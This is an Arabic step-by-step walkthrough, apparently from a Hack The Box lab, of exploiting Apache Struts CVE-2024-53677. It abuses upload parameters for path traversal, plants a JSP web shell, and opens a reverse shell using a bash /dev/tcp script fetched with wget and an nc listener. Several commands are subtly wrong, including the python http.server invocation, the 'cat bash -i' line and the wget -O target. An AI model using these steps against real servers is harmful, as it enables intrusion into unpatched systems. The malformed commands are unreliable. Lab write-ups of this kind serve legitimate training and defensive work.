شرح خطوة بخطوة لاستغلال ثغرة Apache Struts CVE-2024-53677 RCE عبر التلاعب برفع الملفات، بما في ذلك حقن OGNL، وتضمين الحمولة، وإنشاء شل عكسي.
CVE-2024-53677 هي ثغرة تؤثر على Apache Struts من الإصدار 2.0.0 حتى قبل 6.4.0. ⚠️ تم استغلال هذه الثغرة في مختبر Hack The Box.
منطق رفع الملفات في Apache Struts معيب. يمكن للمهاجم التلاعب بمعاملات رفع الملفات لتمكين اجتياز المسارات، وفي بعض الظروف يمكن أن يؤدي ذلك إلى رفع ملف ضار يمكن استخدامه لتنفيذ أوامر عن بعد. 🔗 المرجع: إدخال NIST NVD
pom.xml المكشوف عن Apache Struts 6.3.0.1📸 كشف pom.xml:

لاستغلال هذه الثغرة نستخدم BurpSuite ووظيفة Repeater الخاصة به لتعديل الحزم قبل إرسالها. أدناه لدينا طلب غير معدّل.
مشكلتنا هي أن الموقع يحظر أنواع الملفات التي ليست [JPG, JPEG, PNG, GIF] وأي شيء في دليل /uploads هو غير قابل للتنفيذ. للتغلب على هذه المشكلات سنضيف أولاً معلمة أخرى.
بعد إضافة المعلمة المعدلة، يؤكد رد الخادم أن الملف تم رفعه بنجاح. ومع ذلك، نلاحظ أن مسار الملف يختلف عن دليل الرفع المعتاد.
بعد ذلك، نقوم بتضمين الحمولة عن طريق إضافتها مباشرة أسفل بيانات الصورة وقبل المعلمات المحقونة. يمكن الحصول على حمولة الشيل من 🔗 المرجع: shell.jsp بالإضافة إلى ذلك، تفصيل مهم هو أن الطلب يتطلب "Upload" بحرف U كبير بدلاً من upload صغير. هذا يتبع بنية الاستغلال الملاحظة في: 🔗 المرجع: exploit.py
مع هذه التعديلات في مكانها، نرسل الطلب. يستجيب الخادم بطريقة مماثلة، مؤكداً نجاح الرفع وعكس مسار الملف المعدّل.
الآن، من خلال الانتقال إلى URL التالي، يمكننا التفاعل مع الشيل المرفوعة.
ip/shelll.jsp?action=cmd&cmd=id
في هذه المرحلة، يمكننا إنشاء شيل عكسي باستخدام خادم ويب مُستضاف محلياً. طريقة بسيطة لتحقيق ذلك هي باستخدام بايثون: python3 http.server -m 3004
بعد ذلك، قم بإنشاء سكربت شيل بسيط (مثال: shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
استخدم wget لتنزيله wget http://ip_address/filename -O /tmp
بعد التنزيل، امنح صلاحيات التنفيذ chmod +777 /tmp/filename
ثم استخدم nc (netcat) للاستماع للشيل العكسي. nc -lvnp $PORT
أخيراً قم بتنفيذ ./filename